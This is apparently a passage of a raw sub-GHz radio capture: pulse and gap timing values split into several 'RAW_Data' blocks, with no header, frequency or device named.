-106 107 -362 139 -338 99 -3734 101 -354 143 -334 93 -396 329 -134 329 -122 361 -104 359 -108 335 -126 143 -342 345 -108 337 -132 353 -94 121 -372 103 -368 123 -352 351 -104 141 -362 105 -336 127 -358 93 -370 349 -132 329 -124 121 -348 139 -334 125 -3724 99 -356 107 -370 93 -380 349 -104 337 -124 339 -126 337 -130 337 -128 125 -344 355 -140 333 -94 377 -94 121 -372 101 -368 93 -384 351 -102 141 -362 105 -336 129 -356 93 -372 349 -132 329 -124 119 -350 137 -334 127 -3692 135 -354 105 -370 93 -392 327 -134 329 -122 337 -128 339 -128 337 -126 93 -384 351 -102 337 -124 339 -128 121 -372 101 -368 91 -382 351 -102 141 -364 105 -336 127 -356 93 -370 349 -132 329 -124 119 -350 137 -336 125 -3724 101 -356 107 -368 93 -392 329 -132 329 -126 359 -104 359 -106 337 -124 107 -376 345 -106 339 -132 325 -124 121 -374 101 -368 93 -384 351 -104 139 -362 105 -334 129 -372 103 -362 345 -108 361 -106 105 -396 103 -340 135 -3700 99 -392 105 -334 127 -356 349 -104 337 -124 341 -126 337 -128 339 -126 127 -342 357 -140 333 -94 379 -94 121 -372 101 -368 91 -384 351 -104 141 -362 105 -336 127 -358 93 -370 349 -132 329 -124 119 -350 137 -336 127 -3690 135 -354 105 -370 93 -392 329 -132 329 -124 359 -106 357 -108 337 -124 143 -342 345 -108 337 -132 355 -94 139 -340 127 -356 93 -372 349 -132 103 -394 105 -336 125 -354 93 -370 349 -132 327 -124 121 -348 139 -334 125 -3720 99 -356 107 -370 125 -350 349 -104 337 -124 341 -128 337 -128 339 -126 127 -346 355 -140 301 -126 345 -126 121 -372 101 -368 91 -384 317 -136 141 -362 105 -334 129 -358 93 -372 349 -130 329 -124 89 -380 139 -334 125 -3720 101 -356 105 -370 93 -384 -RAW_Data: 349 -104 335 -122 341 -126 337 -130 337 -128 125 -344 355 -140 335 -94 345 -126 121 -372 101 -368 93 -382 351 -104 141 -362 105 -336 127 -374 103 -360 349 -108 361 -106 107 -362 139 -338 99 -3726 97 -372 93 -378 123 -352 355 -106 349 -140 331 -92 391 -104 359 -106 105 -362 357 -106 349 -104 365 -92 139 -342 127 -358 93 -392 327 -122 121 -350 137 -336 125 -356 93 -370 349 -132 331 -122 121 -350 139 -334 125 -3716 95 -372 93 -380 93 -380 355 -106 349 -104 363 -94 391 -104 357 -108 105 -360 359 -106 349 -102 365 -94 139 -340 129 -358 93 -390 327 -124 119 -350 137 -336 127 -356 93 -370 349 -132 331 -122 121 -348 139 -336 127 -3722 101 -356 107 -368 93 -392 327 -134 329 -124 337 -128 337 -128 337 -126 95 -384 349 -104 335 -124 341 -126 121 -372 101 -368 91 -382 351 -102 141 -362 105 -336 129 -356 93 -372 349 -132 329 -124 119 -350 137 -336 127 -3724 99 -358 105 -370 93 -380 327 -126 355 -124 337 -130 337 -128 337 -126 95 -368 327 -128 357 -124 337 -128 93 -368 131 -364 93 -378 319 -134 103 -396 105 -336 127 -356 93 -372 349 -132 329 -124 91 -378 139 -332 127 -3694 135 -354 107 -368 93 -382 327 -126 351 -94 369 -128 337 -130 337 -126 93 -368 329 -126 359 -124 337 -128 91 -368 131 -334 123 -376 319 -134 141 -360 107 -334 127 -358 93 -370 349 -132 329 -124 121 -348 139 -334 125 -3718 101 -356 141 -334 125 -352 349 -104 337 -124 341 -126 337 -130 337 -128 125 -344 355 -138 335 -126 347 -94 121 -372 101 -368 91 -384 351 -104 141 -362 105 -336 127 -356 93 -372 349 -132 329 -124 119 -350 139 -336 125 -3696 135 -354 105 -368 93 -384 327 -124 351 -94 391 -104 359 -106 337 -124 107 -376 343 -106 339 -128 355 -94 121 -372 103 -368 125 -352 349 -104 141 -362 105 -336 129 -356 93 -372 349 -132 329 -124 119 -350 139 -334 127 -3696 135 -346 93 -382 137 -334 363 -92 345 -132 333 -124 357 -106 357 -144 105 -344 347 -126 325 -138 357 -108 103 -348 127 -358 103 -368 365 -92 123 -372 95 -374 95 -372 95 -378 341 -126 337 -128 93 -384 93 -372 97 -3738 105 -370 97 -362 125 -358 329 -122 337 -128 337 -128 337 -128 337 -124 125 -350 347 -132 331 -124 337 -128 121 -372 99 -368 91 -380 351 -104 141 -362 105 -336 127 -356 93 -370 349 -132 329 -124 121 -350 139 -334 125 -3724 101 -354 107 -368 93 -382 349 -104 337 -124 341 -128 337 -128 337 -128 127 -346 -RAW_Data: 355 -138 303 -124 347 -126 121 -372 101 -368 91 -384 319 -134 141 -362 105 -334 129 -356 93 -372 349 -132 329 -124 91 -378 139 -334 127 -3722 101 -356 107 -368 93 -382 349 -102 337 -122 341 -126 337 -130 337 -128 125 -342 357 -140 335 -94 377 -94 121 -372 101 -368 93 -384 349 -104 141 -364 103 -336 127 -358 93 -370 349 -132 331 -124 119 -350 137 -336 127 -3716 97 -370 93 -368 139 -336 367 -108 337 -130 317 -126 337 -128 339 -128 125 -372 327 -140 333 -128 317 -126 123 -372 101 -368 93 -382 319 -134 141 -362 105 -336 127 -356 95 -370 349 -132 329 -124 121 -350 137 -334 127 -3692 135 -354 105 -370 93 -392 329 -132 329 -122 337 -128 337 -130 337 -126 127 -350 349 -104 337 -124 341 -126 123 -372 101 -366 93 -382 351 -102 141 -362 105 -336 127 -358 93 -370 349 -132 329 -124 121 -348 139 -336 125 -3722 101 -356 107 -368 93 -382 349 -104 337 -124 341 -128 337 -128 339 -126 127 -346 355 -138 301 -158 313 -126 121 -372 101 -368 93 -384 319 -134 141 -362 105 -336 127 -356 95 -370 349 -132 329 -124 119 -350 137 -336 125 -3694 135 -354 105 -370 93 -380 327 -126 355 -94 367 -130 337 -128 337 -126 93 -360 345 -134 331 -124 339 -128 121 -370 101 -366 93 -382 349 -104 141 -364 103 -336 127 -356 93 -372 349 -132 329 -124 119 -350 139 -336 125 -3696 135 -354 105 -370 93 -382 327 -124 351 -126 337 -128 339 -128 337 -126 93 -358 347 -132 333 -124 339 -126 121 -372 101 -366 93 -380 351 -104 141 -362 105 -334 127 -358 93 -372 349 -130 331 -124 119 -350 139 -334 127 -3716 97 -370 95 -366 141 -336 367 -108 339 -128 319 -126 337 -128 339 -128 125 -344 355 -140 335 -126 315 -126 123 -372 101 -366 93 -384 319 -134 141 -360 105 -336 129 -372 103 -360 347 -108 361 -106 105 -396 103 -340 101 -3738 101 -392 105 -334 127 -366 329 -132 329 -124 359 -104 359 -108 335 -124 145 -342 345 -106 339 -130 357 -92 121 -374 101 -368 125 -352 351 -102 143 -362 105 -336 127 -372 105 -360 349 -106 361 -108 105 -398 103 -340 99 -3734 99 -392 105 -334 127 -354 349 -140 301 -124 343 -126 339 -128 337 -128 127 -344 355 -140 333 -126 315 -126 121 -372 101 -366 93 -384 319 -134 141 -362 105 -336 127 -372 105 -360 347 -106 361 -106 105 -398 103 -338 135 -3706 99 -392 105 -334 127 -352 351 -102 337 -124 341 -126 337 -130 337 -128 125 -342 357 -140 333 -126 347 -94 121 -374 101 -368 91 -384 -RAW_Data: 351 -102 143 -362 105 -336 127 -358 93 -370 349 -132 329 -124 119 -350 139 -334 127 -3724 101 -356 107 -368 93 -380 349 -104 337 -124 343 -126 337 -130 337 -128 125 -348 353 -140 301 -126 345 -126 121 -372 101 -368 91 -384 351 -102 141 -362 105 -336 129 -370 105 -360 347 -106 361 -106 105 -396 103 -340 135 -3700 99 -392 105 -336 127 -356 349 -104 337 -124 341 -126 339 -128 337 -128 125 -344 355 -140 335 -126 347 -94 121 -372 101 -368 91 -384 351 -104 141 -362 103 -336 129 -358 93 -370 349 -132 329 -124 121 -348 139 -336 127 -3724 99 -358 105 -370 93 -380 351 -102 337 -124 341 -128 337 -128 337 -128 127 -346 353 -140 301 -126 345 -126 121 -372 101 -368 93 -384 319 -134 141 -360 105 -336 129 -370 105 -360 347 -106 361 -106 105 -396 103 -340 135 -3700 101 -392 103 -336 127 -358 349 -104 335 -124 341 -128 337 -128 337 -128 127 -340 357 -140 335 -126 315 -126 121 -372 101 -368 93 -384 349 -104 141 -364 105 -334 129 -358 93 -370 349 -132 329 -124 119 -350 139 -334 127 -3726 99 -358 105 -370 93 -380 327 -126 355 -126 337 -128 339 -128 337 -126 93 -368 329 -128 359 -124 337 -128 93 -368 131 -362 93 -378 319 -134 103 -396 105 -336 127 -356 95 -370 349 -132 329 -124 89 -380 137 -336 125 -3692 135 -354 107 -368 93 -394 329 -132 329 -122 337 -128 337 -130 337 -126 127 -350 349 -104 337 -124 341 -126 123 -372 101 -366 93 -382 349 -104 141 -362 105 -336 127 -358 93 -370 349 -132 331 -124 119 -350 139 -334 127 -3692 135 -354 107 -368 93 -392 329 -134 329 -124 337 -128 337 -128 337 -126 95 -384 349 -104 335 -124 341 -126 123 -370 103 -366 93 -382 351 -102 141 -362 105 -336 127 -358 93 -370 349 -132 331 -122 121 -348 139 -336 127 -3720 99 -356 107 -370 93 -382 351 -102 337 -124 339 -128 337 -128 337 -128 127 -342 357 -140 333 -96 347 -126 121 -372 101 -368 91 -384 351 -102 141 -364 105 -336 127 -358 93 -370 349 -132 329 -124 119 -350 139 -336 125 -3724 101 -356 105 -370 93 -392 329 -134 329 -124 359 -104 359 -108 335 -124 145 -342 345 -106 339 -130 357 -92 121 -374 101 -368 125 -352 351 -102 143 -362 105 -336 127 -358 93 -370 349 -132 331 -122 121 -350 139 -334 127 -3724 101 -356 105 -370 93 -380 351 -104 337 -124 341 -128 337 -128 337 -128 127 -346 353 -140 301 -156 315 -126 121 -372 101 -368 93 -382 319 -136 139 -362 105 -336 129 -358 93 -370 349 -132 -RAW_Data: 329 -124 91 -380 137 -334 127 -3718 99 -356 143 -334 125 -354 349 -102 337 -124 341 -126 337 -130 337 -128 125 -342 357 -140 333 -126 347 -94 121 -372 101 -368 93 -384 349 -104 141 -362 105 -336 129 -356 93 -372 349 -132 329 -124 119 -350 139 -336 125 -3716 95 -372 95 -380 105 -370 345 -108 339 -132 353 -94 369 -96 369 -96 127 -368 363 -106 337 -128 349 -94 121 -372 101 -368 93 -384 351 -102 141 -362 105 -336 129 -356 93 -372 349 -132 329 -124 119 -350 139 -334 127 -3714 97 -370 95 -378 93 -380 355 -106 349 -140 331 -92 391 -104 359 -106 105 -362 357 -106 349 -104 365 -94 139 -340 129 -358 93 -392 327 -122 121 -348 139 -334 127 -356 93 -370 349 -132 331 -124 119 -352 137 -336 127 -3716 95 -372 93 -368 141 -334 367 -108 339 -128 319 -126 337 -128 339 -128 125 -374 327 -140 333 -126 317 -126 123 -370 101 -368 93 -384 351 -102 141 -362 105 -336 129 -370 105 -360 347 -106 361 -106 105 -396 103 -340 137 -3704 99 -392 105 -334 127 -354 351 -102 337 -124 341 -126 337 -130 337 -128 125 -342 357 -140 335 -94 347 -126 121 -372 101 -368 93 -382 351 -104 141 -362 105 -336 127 -374 103 -360 349 -108 361 -106 107 -396 105 -338 135 -3698 101 -392 103 -336 125 -356 349 -140 303 -124 343 -126 337 -130 337 -128 125 -346 355 -138 333 -126 315 -126 121 -372 101 -368 93 -384 349 -104 141 -362 105 -336 127 -358 95 -370 349 -132 329 -124 89 -380 137 -336 125 -3696 135 -344 125 -352 103 -368 365 -92 345 -134 331 -124 357 -106 359 -108 141 -344 347 -94 391 -104 357 -108 105 -348 125 -358 139 -334 367 -92 121 -370 97 -372 97 -372 125 -346 343 -128 337 -130 93 -366 125 -356 125 -3712 101 -378 103 -336 125 -388 323 -124 347 -94 369 -96 371 -96 369 -94 125 -368 329 -126 359 -122 339 -128 91 -368 131 -334 121 -378 351 -102 141 -362 105 -334 127 -356 93 -372 349 -132 329 -124 119 -350 139 -334 127 -3724 101 -356 105 -370 93 -382 351 -102 337 -124 341 -128 337 -128 339 -126 127 -346 355 -140 301 -126 345 -126 121 -372 101 -368 93 -384 317 -136 139 -362 105 -336 129 -372 103 -360 347 -106 361 -106 105 -398 103 -340 135 -3700 101 -392 103 -336 127 -370 331 -132 329 -124 337 -128 337 -128 337 -128 93 -384 351 -102 337 -124 341 -126 121 -372 101 -368 93 -382 351 -102 141 -362 105 -336 127 -358 93 -370 349 -132 331 -122 121 -350 137 -336 125 -3724 101 -356 107 -368 -RAW_Data: 93 -382 349 -104 337 -124 341 -128 337 -128 339 -126 127 -346 355 -138 333 -126 315 -126 121 -372 101 -368 93 -384 317 -136 141 -362 103 -338 127 -358 95 -370 349 -132 329 -124 89 -380 137 -336 125 -3726 101 -356 107 -368 93 -382 349 -102 337 -122 341 -126 337 -128 339 -128 125 -342 355 -142 335 -94 347 -126 121 -372 101 -368 93 -382 351 -104 141 -362 105 -336 127 -372 105 -360 349 -106 363 -106 107 -396 105 -338 135 -3698 99 -392 105 -334 127 -356 351 -102 339 -122 343 -126 369 -96 339 -128 125 -342 355 -140 335 -126 317 -126 121 -372 101 -368 91 -384 351 -104 141 -362 105 -336 127 -358 93 -370 349 -132 331 -124 119 -350 139 -336 125 -3724 101 -356 105 -370 93 -382 349 -104 337 -124 339 -126 339 -128 337 -128 127 -342 355 -140 333 -126 347 -94 121 -372 103 -368 91 -384 351 -104 141 -362 105 -336 127 -372 105 -360 349 -106 363 -106 107 -396 105 -338 135 -3702 101 -392 105 -334 125 -366 331 -132 331 -122 337 -130 337 -128 337 -126 95 -384 349 -104 335 -124 341 -126 123 -372 101 -366 93 -382 349 -104 141 -362 105 -336 127 -358 93 -370 349 -132 331 -124 119 -350 139 -336 125 -3714 97 -372 95 -378 107 -370 347 -106 341 -130 355 -92 369 -98 369 -96 127 -370 327 -140 337 -126 319 -126 121 -372 101 -368 91 -384 351 -104 141 -362 105 -336 127 -358 93 -370 349 -132 331 -124 119 -350 139 -336 125 -3716 97 -372 93 -370 141 -334 367 -108 337 -128 319 -126 369 -96 369 -96 127 -370 327 -140 335 -128 317 -126 121 -372 101 -368 91 -384 351 -102 143 -362 105 -336 127 -358 93 -372 349 -132 329 -124 119 -350 139 -336 125 -3726 101 -356 107 -368 93 -394 327 -132 331 -122 337 -128 339 -128 337 -126 95 -384 349 -104 337 -122 343 -126 121 -372 101 -368 91 -382 351 -104 141 -362 105 -336 127 -358 93 -370 349 -132 331 -122 121 -350 137 -334 127 -3728 99 -356 107 -368 93 -394 329 -132 329 -122 337 -128 337 -130 337 -126 127 -350 349 -104 337 -124 341 -126 123 -372 101 -366 93 -382 351 -104 141 -362 105 -336 127 -358 93 -370 349 -132 331 -124 119 -350 139 -334 127 -3724 101 -356 105 -370 93 -382 349 -104 337 -124 339 -126 339 -128 337 -128 127 -342 355 -140 335 -94 347 -126 121 -372 101 -368 91 -384 351 -104 141 -362 105 -336 127 -372 105 -360 349 -106 363 -106 107 -396 105 -338 135 -3702 101 -392 105 -334 125 -368 329 -134 329 -124 337 -128 337 -128 337 -128 -RAW_Data: 93 -384 349 -104 335 -124 343 -126 121 -372 101 -368 93 -382 349 -104 141 -362 105 -336 127 -358 93 -370 349 -132 331 -122 121 -350 137 -336 127 -3724 101 -354 107 -370 93 -382 349 -104 337 -124 339 -128 337 -128 339 -126 127 -342 355 -140 335 -124 347 -94 121 -372 103 -366 125 -352 349 -104 141 -364 103 -336 129 -358 93 -370 349 -132 331 -124 119 -352 137 -336 127 -3724 101 -356 107 -368 93 -392 329 -134 329 -124 337 -128 337 -128 337 -128 93 -384 349 -104 337 -124 341 -126 121 -372 101 -368 91 -382 351 -104 141 -362 105 -336 127 -358 93 -370 349 -132 331 -124 119 -350 139 -334 125 -3724 99 -356 143 -334 125 -350 349 -104 337 -124 341 -126 369 -96 339 -128 125 -342 357 -140 335 -126 315 -126 121 -372 101 -368 93 -384 349 -104 141 -364 103 -336 129 -358 91 -372 349 -132 329 -124 121 -348 139 -336 127 -3720 101 -354 143 -334 93 -384 349 -104 337 -124 341 -126 337 -128 339 -128 125 -342 357 -140 335 -94 347 -126 121 -372 101 -368 93 -384 349 -104 141 -362 105 -336 129 -356 93 -372 349 -132 329 -124 119 -350 139 -336 127 -3714 97 -370 95 -380 105 -370 347 -106 339 -132 355 -94 369 -96 371 -96 125 -370 329 -140 335 -128 349 -94 121 -372 101 -368 125 -352 349 -104 141 -364 103 -336 129 -358 93 -370 349 -132 331 -122 121 -352 137 -336 125 -3724 101 -356 107 -368 93 -382 349 -104 337 -122 341 -126 371 -96 337 -128 127 -342 355 -140 335 -126 347 -94 121 -372 101 -368 125 -350 351 -104 141 -362 105 -336 129 -356 93 -372 349 -132 331 -122 121 -350 139 -334 127 -3726 101 -356 107 -368 93 -380 349 -104 337 -124 339 -128 337 -128 337 -128 127 -342 357 -140 333 -126 347 -94 121 -372 103 -366 93 -384 349 -104 141 -364 103 -336 129 -358 93 -370 349 -132 329 -124 121 -350 139 -336 127 -3712 97 -372 95 -378 141 -334 347 -106 341 -130 357 -92 369 -98 369 -96 127 -370 327 -140 337 -126 351 -94 121 -372 101 -370 91 -384 349 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -122 121 -350 139 -336 127 -3714 97 -370 95 -378 107 -370 347 -106 339 -132 355 -94 369 -96 371 -96 125 -370 329 -140 335 -128 349 -94 121 -372 101 -368 125 -352 349 -104 141 -364 103 -336 129 -356 125 -340 349 -132 331 -122 121 -350 139 -334 127 -3716 97 -370 95 -378 123 -350 355 -106 351 -138 299 -156 325 -138 357 -106 105 -396 317 -140 315 -140 333 -126 107 -376 95 -362 -RAW_Data: 93 -390 329 -124 89 -380 103 -368 127 -356 95 -370 349 -132 331 -122 121 -350 139 -334 127 -3726 99 -356 107 -370 93 -392 329 -132 329 -122 337 -128 337 -130 337 -126 127 -348 351 -104 337 -124 343 -126 121 -372 101 -368 91 -384 351 -102 143 -362 105 -336 127 -372 105 -360 349 -106 361 -108 105 -398 103 -338 101 -3734 99 -392 105 -334 127 -372 331 -132 329 -124 337 -128 339 -128 337 -126 95 -384 349 -104 335 -122 343 -126 123 -372 101 -366 93 -382 351 -102 141 -362 105 -336 127 -358 93 -372 349 -132 329 -124 121 -350 137 -334 127 -3694 135 -356 105 -370 93 -380 329 -126 353 -126 337 -128 337 -130 337 -126 93 -360 345 -132 333 -124 339 -128 121 -370 101 -368 91 -382 351 -104 139 -362 105 -336 129 -372 103 -362 347 -106 363 -106 105 -398 103 -338 135 -3704 99 -392 107 -334 127 -366 331 -132 331 -122 339 -128 337 -128 337 -128 93 -384 351 -102 337 -122 343 -126 121 -372 101 -368 91 -384 349 -104 141 -362 105 -336 127 -372 105 -360 347 -108 361 -106 105 -398 103 -338 137 -3700 101 -392 105 -334 127 -354 351 -104 337 -124 343 -126 337 -128 337 -128 127 -340 357 -140 335 -126 317 -126 121 -372 101 -368 93 -382 351 -104 141 -362 105 -336 127 -358 93 -370 349 -132 331 -124 119 -352 137 -336 125 -3726 101 -356 105 -370 93 -382 349 -104 337 -124 339 -128 337 -128 337 -128 125 -342 357 -140 335 -126 315 -126 121 -372 103 -366 93 -384 351 -104 141 -362 105 -336 127 -358 93 -370 349 -132 331 -122 121 -350 139 -334 127 -3716 97 -372 93 -380 91 -380 357 -106 349 -104 365 -92 391 -104 359 -108 105 -360 357 -106 349 -140 329 -94 139 -340 129 -358 125 -360 325 -124 119 -352 139 -334 127 -356 93 -370 349 -132 331 -124 119 -352 137 -336 127 -3722 101 -356 107 -368 125 -364 329 -132 329 -124 337 -128 337 -128 337 -128 125 -350 351 -104 335 -124 343 -126 121 -372 103 -366 93 -382 351 -104 141 -362 105 -334 129 -358 93 -370 349 -132 331 -124 119 -350 139 -334 127 -3726 101 -356 105 -370 93 -394 329 -132 329 -124 337 -128 337 -128 337 -128 125 -350 351 -104 335 -124 343 -126 121 -372 101 -368 91 -384 351 -102 143 -362 105 -336 127 -358 93 -370 349 -132 331 -122 121 -350 139 -334 127 -3724 99 -356 107 -370 93 -382 349 -104 337 -124 341 -126 337 -130 337 -128 125 -342 357 -140 335 -126 315 -126 121 -372 101 -368 93 -384 349 -104 141 -364 103 -336 129 -356 93 -372 -RAW_Data: 349 -132 329 -124 121 -350 139 -334 125 -3714 97 -372 95 -378 123 -352 355 -106 349 -140 331 -92 391 -104 359 -106 105 -362 357 -106 349 -138 331 -92 139 -342 127 -360 125 -360 327 -122 121 -350 139 -334 127 -356 123 -340 349 -132 331 -124 121 -350 137 -336 127 -3722 99 -356 143 -332 93 -384 349 -104 337 -124 341 -128 337 -128 337 -128 127 -340 357 -140 335 -126 317 -124 123 -372 101 -368 91 -384 351 -102 141 -364 105 -336 127 -358 93 -370 349 -132 331 -124 121 -350 139 -334 127 -3716 97 -370 95 -380 105 -370 347 -106 341 -130 325 -124 369 -98 369 -96 127 -368 329 -140 337 -126 349 -94 121 -374 101 -368 91 -386 349 -104 141 -362 105 -336 129 -356 93 -372 349 -132 329 -124 121 -350 137 -336 127 -3724 99 -356 107 -368 125 -352 349 -102 337 -124 341 -128 337 -128 339 -128 125 -342 357 -140 333 -128 347 -94 121 -372 101 -368 93 -384 349 -104 141 -364 103 -336 129 -356 93 -372 349 -132 329 -124 121 -350 139 -336 125 -3716 97 -372 93 -380 93 -380 355 -104 351 -104 365 -92 391 -104 359 -106 107 -360 357 -106 349 -138 331 -94 139 -340 129 -360 123 -360 327 -124 119 -350 137 -336 127 -356 123 -340 349 -132 331 -124 119 -352 139 -334 127 -3718 101 -392 105 -334 125 -354 351 -104 337 -124 341 -126 369 -96 339 -128 125 -342 357 -140 335 -126 347 -94 121 -372 101 -368 93 -384 351 -102 143 -362 105 -336 127 -358 93 -370 349 -132 331 -122 121 -350 139 -336 127 -3720 99 -356 143 -334 125 -352 349 -104 337 -124 341 -126 369 -98 337 -128 127 -340 357 -140 335 -126 317 -126 121 -372 101 -368 91 -384 351 -102 143 -362 105 -336 127 -358 93 -370 349 -132 331 -124 119 -352 137 -336 127 -3722 99 -356 143 -334 93 -384 349 -104 337 -124 339 -128 337 -128 337 -128 127 -340 357 -140 335 -126 317 -126 121 -372 101 -368 91 -384 351 -104 141 -362 105 -336 127 -358 93 -370 349 -132 331 -124 119 -352 137 -336 127 -3722 101 -356 107 -370 93 -396 329 -132 329 -124 337 -128 337 -128 337 -128 125 -350 351 -104 337 -122 343 -126 121 -372 101 -368 93 -382 351 -102 141 -364 103 -336 129 -356 93 -372 349 -132 329 -124 121 -350 139 -334 127 -3724 99 -356 107 -370 93 -384 349 -104 337 -124 339 -126 339 -128 337 -128 127 -342 355 -140 335 -126 317 -124 121 -372 103 -366 93 -384 349 -104 141 -364 103 -338 127 -358 93 -372 349 -132 329 -124 119 -350 125 -344 133 -3704 133 -358 -RAW_Data: 103 -336 129 -362 349 -140 333 -94 383 -106 359 -108 337 -128 97 -368 355 -104 349 -140 333 -124 107 -342 129 -360 125 -360 327 -122 121 -350 139 -334 127 -356 123 -340 349 -132 331 -124 121 -350 139 -336 125 -3716 97 -372 95 -378 93 -380 355 -106 347 -140 331 -92 391 -104 359 -108 105 -360 357 -106 349 -140 331 -92 139 -342 127 -360 125 -358 327 -124 119 -352 139 -334 127 -356 93 -370 349 -132 331 -122 121 -352 139 -334 127 -3714 97 -372 93 -380 139 -336 349 -106 341 -130 357 -92 369 -98 369 -96 127 -370 329 -140 335 -126 319 -126 121 -372 101 -368 125 -350 351 -102 143 -362 105 -336 129 -358 93 -372 349 -130 331 -124 119 -350 139 -336 125 -3724 101 -356 105 -370 93 -396 329 -132 331 -122 361 -104 359 -108 335 -124 145 -342 345 -108 337 -132 355 -94 121 -372 103 -368 125 -350 351 -104 141 -362 105 -336 129 -360 93 -370 349 -132 331 -122 121 -348 139 -336 125 -3716 97 -372 95 -378 93 -380 355 -106 349 -140 331 -92 391 -104 359 -106 105 -362 357 -106 349 -140 331 -92 139 -342 127 -358 125 -360 327 -122 121 -350 139 -336 125 -356 125 -340 349 -132 331 -122 121 -350 139 -336 125 -3724 101 -356 141 -334 125 -364 329 -134 329 -124 359 -106 357 -108 337 -124 143 -342 347 -106 339 -130 355 -94 121 -374 101 -368 125 -352 351 -102 143 -362 105 -336 127 -360 91 -372 349 -132 331 -124 119 -350 137 -336 127 -3724 99 -356 141 -334 125 -366 329 -134 329 -124 337 -128 337 -128 337 -128 125 -352 349 -104 335 -124 343 -126 121 -372 101 -368 93 -382 349 -104 141 -364 103 -336 129 -358 91 -372 349 -132 329 -124 121 -350 139 -336 127 -3716 97 -372 93 -368 141 -334 367 -108 339 -128 319 -126 369 -96 371 -96 125 -372 327 -140 335 -126 349 -94 121 -372 103 -368 91 -384 349 -104 141 -364 105 -334 129 -358 93 -370 349 -132 331 -124 119 -352 123 -344 133 -3696 133 -358 103 -370 99 -364 349 -140 335 -94 343 -126 369 -98 337 -128 125 -374 325 -140 335 -126 349 -94 121 -372 101 -368 93 -384 349 -104 141 -364 103 -336 129 -356 93 -372 349 -132 331 -124 119 -352 137 -336 125 -3728 101 -356 107 -368 93 -380 349 -104 337 -124 341 -126 337 -130 337 -128 125 -342 357 -140 335 -126 315 -126 121 -372 101 -368 93 -384 349 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -122 121 -350 137 -336 127 -3724 99 -356 107 -368 125 -364 331 -132 329 -124 337 -128 339 -128 -RAW_Data: 337 -128 93 -384 351 -102 335 -124 343 -128 121 -372 101 -368 91 -382 319 -136 139 -362 105 -334 127 -360 93 -372 349 -132 331 -124 89 -380 137 -334 127 -3714 97 -372 95 -378 93 -382 353 -106 349 -140 331 -92 391 -104 359 -106 105 -362 357 -106 349 -140 331 -92 139 -342 127 -358 125 -360 327 -122 121 -350 139 -336 125 -358 93 -370 349 -132 331 -124 119 -350 139 -334 127 -3724 99 -356 107 -810048 241 -236 157 -338 127 -340 375 -94 355 -124 337 -128 337 -128 337 -128 93 -386 347 -104 333 -124 341 -126 121 -372 101 -366 91 -382 351 -102 141 -362 105 -336 127 -356 93 -370 349 -132 331 -122 121 -348 139 -334 127 -3690 135 -354 105 -370 93 -382 327 -126 349 -94 391 -104 359 -108 335 -124 107 -376 343 -106 339 -130 353 -94 121 -372 101 -368 125 -350 351 -102 143 -362 105 -336 127 -358 93 -370 349 -132 329 -124 119 -350 139 -334 125 -3698 133 -352 107 -368 93 -382 325 -126 321 -156 325 -138 357 -106 335 -126 107 -376 345 -106 337 -130 323 -158 89 -374 101 -368 93 -384 319 -134 105 -398 103 -336 127 -358 95 -370 349 -132 329 -124 89 -382 101 -370 127 -3694 135 -352 105 -368 93 -382 327 -126 353 -92 369 -128 339 -128 337 -126 93 -368 329 -128 357 -124 337 -128 91 -368 131 -334 123 -376 319 -134 141 -362 103 -336 127 -356 95 -370 349 -132 329 -122 121 -348 137 -334 127 -3724 99 -356 107 -368 93 -380 351 -102 337 -124 339 -126 337 -130 337 -128 125 -342 355 -140 335 -126 315 -126 121 -372 101 -368 91 -386 349 -104 141 -362 105 -336 127 -356 93 -370 349 -132 331 -124 119 -350 139 -334 125 -3716 97 -372 93 -366 141 -336 365 -108 339 -130 319 -126 337 -128 337 -128 127 -344 357 -138 333 -126 315 -126 123 -372 101 -366 93 -384 319 -134 141 -362 103 -336 127 -372 103 -362 347 -106 361 -106 105 -398 101 -340 135 -3700 99 -392 105 -334 127 -370 331 -132 329 -122 337 -128 337 -130 337 -126 127 -350 351 -102 337 -124 341 -126 121 -372 101 -368 93 -382 351 -102 141 -362 105 -336 127 -372 105 -360 349 -106 361 -108 105 -362 141 -336 101 -3728 99 -392 105 -336 127 -356 349 -104 339 -124 341 -126 337 -130 337 -128 127 -344 355 -140 333 -126 313 -126 123 -372 101 -366 93 -384 319 -134 141 -362 103 -336 129 -372 103 -360 347 -106 361 -106 105 -398 103 -340 135 -3702 99 -392 105 -334 127 -354 349 -104 337 -124 341 -126 337 -130 337 -128 125 -342 357 -140 333 -94 -RAW_Data: 349 -124 121 -372 101 -368 93 -384 351 -102 143 -362 105 -334 129 -356 93 -372 349 -130 331 -122 121 -350 137 -336 127 -3720 101 -356 105 -370 93 -382 349 -104 337 -124 341 -128 337 -128 339 -128 125 -346 353 -140 333 -126 315 -126 121 -372 101 -366 93 -384 351 -102 141 -362 105 -336 127 -358 95 -370 349 -132 329 -124 91 -378 139 -334 127 -3716 101 -356 141 -334 95 -384 349 -104 335 -124 341 -126 369 -96 339 -126 127 -342 355 -140 335 -126 347 -94 121 -372 101 -368 93 -384 349 -104 141 -364 103 -336 129 -356 93 -372 349 -132 329 -124 121 -348 139 -336 127 -3690 135 -354 107 -368 93 -392 329 -132 331 -122 339 -128 337 -128 337 -126 95 -384 349 -102 337 -122 343 -126 121 -372 101 -368 93 -380 351 -102 143 -362 103 -336 129 -358 93 -370 349 -132 329 -124 121 -348 139 -336 125 -3720 101 -356 141 -334 125 -352 349 -102 337 -124 341 -126 369 -98 337 -128 125 -342 357 -140 335 -94 379 -94 121 -372 101 -368 93 -382 349 -104 141 -364 103 -338 127 -358 95 -370 349 -132 329 -124 121 -348 139 -334 127 -3716 97 -370 93 -370 139 -336 365 -108 339 -128 319 -124 369 -98 337 -128 125 -372 327 -140 335 -126 317 -126 121 -372 103 -366 93 -384 351 -102 143 -362 105 -336 127 -358 93 -370 349 -132 331 -122 121 -348 139 -334 127 -3724 101 -356 105 -370 93 -380 351 -102 339 -122 341 -128 337 -128 337 -128 127 -342 355 -140 335 -124 317 -126 121 -372 101 -368 93 -382 351 -104 141 -362 105 -336 127 -358 93 -370 349 -132 329 -124 119 -350 139 -334 127 -3714 97 -372 93 -380 105 -370 347 -108 339 -130 337 -142 361 -104 343 -102 135 -354 357 -106 345 -104 363 -92 121 -374 101 -370 125 -366 331 -132 103 -358 107 -368 93 -396 103 -360 347 -108 361 -106 107 -396 105 -338 135 -3702 101 -392 105 -334 127 -352 349 -104 337 -124 341 -126 337 -128 339 -128 125 -342 357 -140 333 -128 315 -126 121 -372 101 -368 91 -384 351 -104 141 -362 105 -336 127 -358 93 -370 349 -132 331 -124 119 -350 139 -334 127 -3722 99 